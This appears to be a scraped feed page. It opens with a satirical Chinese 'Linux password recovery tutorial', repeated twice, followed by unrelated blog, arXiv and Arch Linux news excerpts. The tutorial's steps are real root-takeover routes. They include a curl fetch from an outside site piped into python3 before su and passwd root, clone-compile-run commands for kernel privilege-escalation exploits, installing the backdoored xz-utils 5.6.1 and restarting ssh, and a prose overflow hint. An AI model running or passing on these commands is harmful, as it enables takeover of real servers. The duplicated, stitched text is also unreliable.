1. Linux 找回密码教程，建议收藏！
curl https://copy.fail/exp python3 && su
passwd root
设置你的新密码
2. 你的 Linux 密码又忘了？
没关系，这里还有一个新的！
git clone https://github.com/V4bel/dirtyfrag.git&& cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp
3. 不想再忘记密码了？
我们有专业的黑客团队帮您运维服务器和保管密码！
项目地址: https://github.com/tukaani-project/xz/tree/v5.6.1
sudo apt install xz-utils=5.6.1-1
sudo systemctl restart ssh
4. 容易忘记密码的有福了，每天都有新办法！
https://ze3tar.github.io/post-zcrx.html
插入一个支持ZCRX的高端网卡，让它down掉，然后ptr_ring drain + scrub loop重复入栈把free_count写溢出即可
5. 什么，你买不起高端网卡？那试试这个吧！
git clone https://github.com/v12-security/pocs.git&& cd pocs/fragnesia && gcc -o exp fragnesia.c && ./exp
6. 听说您的机房不允许ssh外连，只能通过KVM物理访问服务器? 没关系，我们的专业黑客团队也可以通过nginx帮助运维您的服务器！
https://depthfirst.com/nginx-rift
curl https://copy.fail/exp python3 && su
passwd root
设置你的新密码
2. 你的 Linux 密码又忘了？
没关系，这里还有一个新的！
git clone https://github.com/V4bel/dirtyfrag.git&& cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp
3. 不想再忘记密码了？
我们有专业的黑客团队帮您运维服务器和保管密码！
项目地址: https://github.com/tukaani-project/xz/tree/v5.6.1
sudo apt install xz-utils=5.6.1-1
sudo systemctl restart ssh
4. 容易忘记密码的有福了，每天都有新办法！
https://ze3tar.github.io/post-zcrx.html
插入一个支持ZCRX的高端网卡，让它down掉，然后ptr_ring drain + scrub loop重复入栈把free_count写溢出即可
5. 什么，你买不起高端网卡？那试试这个吧！
git clone https://github.com/v12-security/pocs.git&& cd pocs/fragnesia && gcc -o exp fragnesia.c && ./exp
6. 听说您的机房不允许ssh外连，只能通过KVM物理访问服务器? 没关系，我们的专业黑客团队也可以通过nginx帮助运维您的服务器！
https://depthfirst.com/nginx-rift
Daniel Lemire's blog
Mapping Strings to Float Arrays in Go: How Fast Can We Go?
source
Mapping Strings to Float Arrays in Go: How Fast Can We Go?
source
Daniel Lemire's blog
Mapping Strings to Float Arrays in Go: How Fast Can We Go?
A common pattern in modern software is to map a string key to a small array of floating-point numbers. Word embeddings, feature vectors, lookup tables for physical constants: all variations on the same theme. In Go, the obvious way to write this is a map…
SPEC CPU: The Next Generation
via cs.AR updates on arXiv.org (author: Mahesh Madhav, Allen Lee, Andres Mejia, Branden Moore, Charan Soppadandi, Chris Cambly, Christoph M\"ullner, Daniel Bowers, David Reiner, Denis Bakhvalov, Di Zhao, Duane Voth, Feng Xue, Fr\'ed\'erique Silber-Chaussumier, James Bucek, James Southern, Jiangning Liu, Jim Himer, John Henning, Kevin Smith, Kristen Yang, Kunal Kashyap, Mason Guy, Mat Colgrove, Michael Berg, Prasad Battini, Prasad Joshi, Rohit Prasad, Shayantika Bhattacharya, Sriyash Caculo, Stefan Reimbold, Sundar Iyengar, Van Smith, Zarko Todorovski)
via cs.AR updates on arXiv.org (author: Mahesh Madhav, Allen Lee, Andres Mejia, Branden Moore, Charan Soppadandi, Chris Cambly, Christoph M\"ullner, Daniel Bowers, David Reiner, Denis Bakhvalov, Di Zhao, Duane Voth, Feng Xue, Fr\'ed\'erique Silber-Chaussumier, James Bucek, James Southern, Jiangning Liu, Jim Himer, John Henning, Kevin Smith, Kristen Yang, Kunal Kashyap, Mason Guy, Mat Colgrove, Michael Berg, Prasad Battini, Prasad Joshi, Rohit Prasad, Shayantika Bhattacharya, Sriyash Caculo, Stefan Reimbold, Sundar Iyengar, Van Smith, Zarko Todorovski)
Arch Linux: Recent news updates
kea >= 1:3.0.3-6 update requires manual intervention
The
Users upgrading from an existing
Accounts that need to interact with
source
(author: Robin Candau)
kea >= 1:3.0.3-6 update requires manual intervention
The
kea package has moved all services to run as a dedicated kea user (instead of root) for improved security. This change requires permission updates to the runtime files created by the kea services.Users upgrading from an existing
kea installation should therefore run the following commands after the upgrade:chown kea: /var/lib/kea/* /var/log/kea/* /run/lock/kea/logger_lockfilesystemctl try-restart kea-ctrl-agent.service kea-dhcp{4,6,-ddns}.serviceAccounts that need to interact with
kea services files (e.g. lease files under /var/lib/kea, log files under /var/log/kea or configuration files under /etc/kea) should be added to the kea group.source
(author: Robin Candau)
Arch Linux: Recent news updates
iptables now defaults to the nft backend
The old iptables-nft package name is replaced by iptables, and the legacy backend is available as iptables-legacy.
When switching packages (among iptables-nft, iptables, iptables-legacy), check for .pacsave files in /etc/iptables/ and restore your rules if needed:
● /etc/iptables/iptables.rules.pacsave
● /etc/iptables/ip6tables.rules.pacsave
Most setups should work unchanged, but users relying on uncommon xtables extensions or legacy-only behavior should test carefully and use iptables-legacy if required.
source
(author: Felix Yan)
iptables now defaults to the nft backend
The old iptables-nft package name is replaced by iptables, and the legacy backend is available as iptables-legacy.
When switching packages (among iptables-nft, iptables, iptables-legacy), check for .pacsave files in /etc/iptables/ and restore your rules if needed:
● /etc/iptables/iptables.rules.pacsave
● /etc/iptables/ip6tables.rules.pacsave
Most setups should work unchanged, but users relying on uncommon xtables extensions or legacy-only behavior should test carefully and use iptables-legacy if required.
source
(author: Felix Yan)
Daniel Lemire's blog
The fastest way to match characters on ARM processors?
source
The fastest way to match characters on ARM processors?
source
Daniel Lemire's blog
The fastest way to match characters on ARM processors?
Consider the following problem. Given a string, you must match all of the ASCII white-space characters (\t, \n, \r, and the space) and some characters important in JSON (:, ,, [, ], {, }). JSON is a text-based data format used for web services. A toy JSON…
Daniel Lemire's blog
Can your AI rewrite your code in assembly?
source
Can your AI rewrite your code in assembly?
source
Daniel Lemire's blog
Can your AI rewrite your code in assembly?
Suppose you have several strings and you want to count the number of instances of the character ! in your strings. In C++, you might solve the problem as follows if you are an old-school programmer. size_t c = 0; for (const auto &str : strings) { c += st…
